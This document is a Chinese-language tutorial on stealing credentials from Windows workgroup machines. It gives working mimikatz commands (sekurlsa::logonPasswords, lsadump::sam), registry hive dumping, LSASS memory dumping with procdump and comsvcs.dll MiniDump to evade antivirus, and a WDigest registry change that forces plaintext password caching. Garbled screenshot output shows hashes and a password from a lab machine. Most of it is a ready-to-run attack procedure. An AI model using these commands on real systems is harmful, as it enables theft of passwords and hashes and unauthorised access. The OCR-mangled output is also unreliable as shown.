一、概述
本地工作组密码抓取，是指在 Windows 工作组环境（即非域环境、无域控制器）中，通过技术手段从目标计算机上提取已登录用户或本地存储的明文密码、NTLM 哈希值等身份凭据的过程。
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二、SAM文件
SAM 全称 Security Account Manager，存储本地用户账户和对应哈希。
mimikatz
mimikatz工具是由法国安全研究员 Benjamin Delpy 开发，最初仅用于个人安全测试，但因其能直接读取 Windows 内存中的明文密码和哈希而闻名。
常用模块：
	模块
	功能
	域渗透中的典型用途

	sekurlsa
	从 LSASS 内存读取凭据
	提取明文密码、NTLM 哈希、Kerberos 票据和密钥

	kerberos
	票据操作
	伪造黄金票据/白银票据、导入/导出/清除票据

	lsadump
	LSA 机密转储
	DCSync 攻击、读取 SAM 数据库、读取缓存凭据

	privilege
	权限提升
	启用 SeDebugPrivilege，这是读取 LSASS 的前提

	token
	令牌操作
	窃取/模拟其他进程的令牌，实现权限提升


运行条件：Mimikatz 的许多功能需要本地管理员权限或 SYSTEM 权限，因为它需要打开 LSASS 进程的句柄并读取其内存。
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首先需要进入特权模式：
privilege::debug

sekurlsa::logonpasswords  #抓取内存中的所有密码

[image: ]
读取SAM文件中的hash值：
privilege::debug #启用当前进程的 SeDebugPrivilege 特权

token::elevate #将当前线程的令牌替换为一个更高权限的令牌，通常是 NT AUTHORITY\SYSTEM

lsadump::sam #从 SAM 数据库 中读取本地账户的密码哈希。
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合并为一条命令：
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

reg命令
将本地 SAM 和 SYSTEM 注册表 hive 保存成文件，再拿到攻击机或离线环境解析出本地账户的 NTLM 哈希。
reg save hklm\sam sam.hive

reg save hklm\system system.hive
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单独一个 sam.hive 没用，因为 SAM 里的哈希是用 SYSTEM hive 中的 boot key 加密的。
所以通常要成对导出：
SAM      -> 存本地账户和哈希

SYSTEM   -> 存解密 SAM 所需的 boot key

SECURITY -> 可选，存 LSA Secrets、缓存域凭据

使用mimikatz读取复制的文件：
lsadump::sam /sam:sam.hive /system:system.hive
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三、Lsass进程
mimikatz
mimikatz支持各种方式读取机器上的密码。
privilege::debug

sekurlsa::msv #获取HASH (LM,NTLM)

sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码

sekurlsa::Kerberos #获取域管理员的明文密码

sekurlsa::tspkg #通过tspkg读取明文密码

sekurlsa::livessp #通过livessp读取明文密码

sekurlsa::ssp #通过ssp读取明文密码

sekurlsa::logonPasswords #通过以上各种方法读取明文密码

一般情况下，都会直接使用sekurlsa::logonPasswords，读取密码。
privilege::debug

sekurlsa::logonPasswords 
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转储文件
如果mimikatz工具被查杀，那么先将机器上的lsass内存导出，然后在自己的电脑中使用mimikatz工具读取导出的文件。
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procdump
ProcDump 是一个命令行实用工具，其主要用途为管理员或开发人员用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序，微软的一般不会被杀软杀掉。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
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动态链接库
comsvcs.dll 的全称是 COM+ Services DLL，位于 C:\Windows\System32\ 目录下，是微软 COM+ 服务的基础组件。它的合法功能是支持 COM+ 应用程序的运行时环境。
利用comsvcs.dll的导出函数MiniDump实现dump内存读取。
#先查询lsass.exe的进程号：  

tasklist | findstr lsass.exe



#使用powershell导出rundll32：  

rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 456 C:\Users\Administrator\Desktop\lsass.dmp full
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读取文件
使用mimikatz工具进行读取：
#合并执行：

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"



#单独进行：

# 切换数据源，执行这条命令后，Mimikatz 会改为从指定的 minidump 文件（lsass.dmp）中读取数据

sekurlsa::minidump lsass.dmp



#从当前已加载的数据源（此时是 lsass.dmp）中，提取登录会话的凭据信息，full参数表示完整输出

sekurlsa::logonPasswords full

[image: ]
四、修改注册表
概述
Win7、 Win server 2008等这样的机器内存中是存储明文的密码，但是在2012之后的机器（win10、win 8、win11、 2012、2016）或者安装了KB2971997补丁，内存中就不在存储明文密码了，我们就无法通过之前学习的方法抓取到明文的密码。
在Windows 2012系统及以上的系统，默认在内存中禁止保存明文密码。攻击者可以通过修改注册表的方式抓取明文密码，但是需要用户重新登陆后才能成功抓取。
在注册表中开启或者关闭存储明文密码：
# 开启

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

/v UseLogonCredential /t REG_DWORD /d 1 /f





# 关闭

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

/v UseLogonCredential /t REG_DWORD /d 0 /f

参数概述：
	reg
	Windows 自带的注册表命令行工具。

	add
	reg 的子命令，表示添加注册表项或值；如果项/值已存在，则修改。

	SecurityProviders\WDigest
	目标注册表路径，WDigest 是摘要式身份验证相关安全提供程序

	/v UseLogonCredential
	指定要操作的值名称，名为 UseLogonCredential。

	/t REG_DWORD
	指定值类型为 REG_DWORD，即 32 位整数。

	/d 1
	指定数据为 1。在这里表示启用该功能；0 通常表示禁用。

	/f
	force，强制覆盖，不弹出确认提示。


WDigest
WDigest 是 Windows 内置的一个安全支持提供程序（SSPI），全称 Windows Digest Authentication，用于实现 HTTP Digest 认证和 SASL Digest 认证，它本身是一个合法的认证组件。
Digest 认证的机制要求服务器和客户端共享明文密码或可逆加密的密码，才能计算出摘要值。
因此，当用户登录并触发 WDigest 时，Windows 的 LSASS 进程会缓存该用户的明文密码，以便后续进行 Digest 认证。
正常情况下，Windows 只应在内存中保存密码哈希，而不保存明文。但 WDigest 为了实现 Digest 认证，会在 LSASS 内存中保留明文凭据。
攻击者一旦获得对 LSASS 的读取权限（例如本地管理员），就可以使用 Mimikatz 等工具，通过 sekurlsa::wdigest 模块直接从内存中提取明文密码。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

值名称：UseLogonCredential

类型：DWORD

0 = 禁用（不缓存明文）

1 = 启用（缓存明文）

操作
首先查询当前机器中是否存储明文密码：
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
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值为0或者报错，都是没有开启明文存储。
需要管理员权限，开启存储明文密码：
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
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只要让用户重新输入密码，就可以得到明文的密码，通过下列三种方式可以实现：
锁屏，重新登录（ rundll32.exe user32.dll,LockWorkStation）；

注销用户（query user 查询用户，logoff id 注销用户）；

重启计算机。

重新输入密码后，使用Mimikatz读取计算机中的存储的明文密码：
privilege::debug

sekurlsa::logonPasswords
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Authentication Id : 0 ; 413631 (00000000:00064fbf)

Session : Interactive from 2
User Name : Administrator
Domain : WINOS8
Logon Server : WINOS8
Logon Time : 2026/10/11 15:14:45
SID 1 $-1-5-21-1168619066-614664977-2469469770-500
msv :
[00010000] credentialKeys
* NTLM : b6fedcbb1ab4f59dd213d03eb992b759
* SHAL : c47d7al0bccd27b7c1b72be99372462492e224d2

[00000003] Pr1mary
* Username : Administrator

* Domain : WINOS
* NTLM : b6fedcbblab4f59dd213d03eb992b759
* ﬁHAl : c47d7al0bccd27b7c1b72be99372462492e224d2

Username : Administrator

Domain : WINOS8
Password : alb2c3..

Username : Administrator
* Domain : WINOS
Password : (null)
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mimikatz # token::elevate

Token Id : O

User name :

SID name : NT AUTHORITY\SYSTEM

252 {0;000003e7} 0 D 32381 NT AUTHORITY\SYSTEM

(04g,30p) Primary

-> Impersonated !

* Process Token : {0;00064fbf} 2 D 1019716 WINO8\Administrator

-1168619066-614664977-2469469770-500 (14g,23p)

* Thread Token : {0;000003e7} O D 1054133 NT AUTHORITY\SYSTEM
(04g,30p) Impersonation (Delegation)

mimikatz # T1sadump::sam

Domain : WINO8

SysKey : 9d08d69ac03bdlb64f14e65e1637523¢

Local SID : S-1-5-21-1168619066-614664977-2469469770

SAMKey : 74e2dd2b812b0Obc5e9bc227d4ad86af7
RID : 000001f4 (500)
User : Administrator
Hash NTLM: b6fedcbblab4f59dd213d03eb992b759

RID : 000001f5 (501)
User : Guest

mimikatz # _

S-1-

S-1-
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C:\Users\Administrator\Desktop>reg save hklm\sam sam. hive

eI TE R -

C:\Users\Administrator\Desktop>reg save hklm\system system. hive

eI TE R -

C:\Users\Administrator\Desktop>
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T Peiatlers 2.0 294 fone0)

L. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
_#tt " ##. A La Vie, A L’ Amour” — (oe. eo)
#i# / \ ## /%%x Benjamin DELPY gentilkiwi~ ( benjamin@gentilkiwi.com )
w\ / ow > https://blog. gentilkiwi. com/mimikatz
v Vincent LE TOUX ( vincent. letoux@gmail. com )
T > https://pingcastle. com / https://mysmartlogon. com ¥/

mimikatz # lsadump::sam /sam:sam. hive /system:system. hive
: WINO8
: 9d08d69ac03bd1b64f14e65e1637523¢c
: S-1-5-21-1168619066-614664977-2469469770

SAMKey : 74e2dd2b812bObc5e9bc227d4ad86ar?
RID : 000001f4 (500;
User : Administrator

Hash NTLM: b6fedcbblab4f59dd213d03eb992b759

: 000001f5 (501)

mimikatz #
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msv :
[00010000]
* NTLM
* SHAl
[00000003]
Username
Domain

3*

Username
Domain
Password
kerberos :
Username
Domain
Password

CredentialKeys

H b6fedcbb1ab4f59dd213d03eb992b759

: c47d7al0bccd27b7c1b72be99372462492e224d2
Primary

: Administrator

: WINOS8

: b6fedcbblab4f59dd213d03eb992b759

: c47d7al0bccd27b7c1b72be99372462492e224d2

: Administrator
: WINOS8

: alb2c3..

: Administrator
: WINOS8
HEGUIED)
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C:\Users\Administrator\Desktop>procdump. exe —accepteula —ma lsass.exe lsass.dmp

ProcDump v10.11 - Sysinternals process dump utility
Copyright (C) 2009-2021 Mark Russinovich and Andrew Richards
Sysinternals — www. sysinternals. com

[18:02:47] Dump 1 initiated: C:\Users\Administrator\Desktop\lsass. dmp
[18:02:47] Dump 1 writing: Estimated dump file size is 33 MB.
[18:02:48] Dump 1 complete: 34 MB written in 0.9 seconds

[18:02:48] Dump count reached
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C:\Users\Administrator\Desktop>tasklist | findstr lsass.exe
lsass. exe 456 Services 33,112 K

Windows PowerShell
FRALERA (C) 2009 Microsoft Corporation. 1 F&FFA A,

PS C:\Users\Administrator> rund1132 C:\Windows\System32\comsvcs. dl1l, MiniDump 456 C:\Users\Administrator\Desktop\lsass.
mp full
PS C:\Users\Administrator> _
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mimikatz # sekurlsa::minidump Tsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::TogonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0O
User Name : WINO8S
Domain ' \:{e
Logon Server HEGUIED)
Logon Time : 2026/10/11 15:01:52
SID : S-1-5-20
msv :
[00000003] Primary
Username : WINO8$

3%

* Domain ' \:{e

* NTLM : 8bb124423edc2ecad19771825741f7b8

* SHAL : f49bada8645b3ae91faab3f6f5667a5ec2f5
tspkg :
wdigest :

* Username : WINO8$
* Domain : ABC
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PS C:\Users\Administrator> reg query “HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest” /V
UseLogonCredential

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential REG_DWORD 0x0

PS C:\Users\Administrator>
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PS C:\Users\Administrator> reg query “HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest” /V
UseLogonCredential

iR RERA IR EIEMRIEUE.
PS C:\Users\Administrator>
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S C:\Users\Administrator> reg add HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseL
ogonCredential /t REG_DWORD /d 1 /f

A RTh TR

S C:\Users\Administrator>
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msv :

[00010000] credentialKeys

* NTLM H b6fedcbblab4f59dd213d03eb992b759

* SHAL : c47d7al0bccd27b7c1b72be99372462492e224d2
[00000003] Pr1mary

Username : Administrator

3%

* Domain : WIN12
* NTLM : b6fedcbblab4f59dd213d03eb992b759
* SHAL : c47d7al0bccd27b7c1b72be99372462492e224d2
tspkg :
wdigest :
* Username : Administrator
* Domain : WIN12
* Password : alb2c3..
kerberos :
* Username : Administrator
* Domain : WINI12
* password : (null)
ssp KO
credman :

e g Windows Server 2012 R2
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